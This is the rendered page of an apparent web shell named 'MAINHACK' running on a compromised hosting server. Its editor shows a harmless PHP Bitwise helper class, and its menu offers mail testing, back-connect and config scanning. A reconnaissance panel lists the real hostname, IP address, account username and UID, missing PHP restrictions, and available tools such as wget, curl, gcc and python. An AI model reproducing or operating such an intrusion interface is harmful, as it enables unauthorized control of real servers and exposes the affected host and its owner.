[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Bitwise.php
<?php namespace App\Bitwise; class Bitwise { /** * @return array */ public function getList() { $class = new \ReflectionClass($this); return $class->getConstants(); } /** * @param string|array|integer $keys * @return integer|null */ public function getValue($keys) { $list = $this->getList(); $keysList = array_keys($list); $value = null; if (is_array($keys) && count($keys)) { $value = []; foreach ($keys as $key) { $value[] = array_search(strtoupper($key), $keysList); } asort($value); $value = array_values($value); $bitsLength = $value[count($value) - 1] + 1; $bits = array_fill(0, $bitsLength, 0); for ($i = 0; $i <= $bitsLength; $i++) { if (in_array($i, $value)) { $bits[$i] = 1; } } $value = base_convert(implode('', array_reverse($bits)), 2, 10); } else if (is_string($keys) && $keys !== '') { $value = $list[strtoupper($keys)]; } return $value ? (int)$value : null; } public function getName($value) { $list = $this->getList(); $keys = array_keys($list); $bin = base_convert($value, 10, 2); $binary = str_split($bin); $result = []; if (!empty($binary) && is_array($binary)) { $binary = array_reverse($binary); } foreach ($binary as $index => $bit) { if ($bit == 1 and !empty($keys[$index])) { $result[] = strtolower($keys[$index]); } } return count($result) === 1 ? $result[0] : $result; } public function hasValue($value, $source) { return ($source & $value) === $value; } public function hasName($name, $source) { $value = $this->getValue($name); return $this->hasValue($value, $source); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285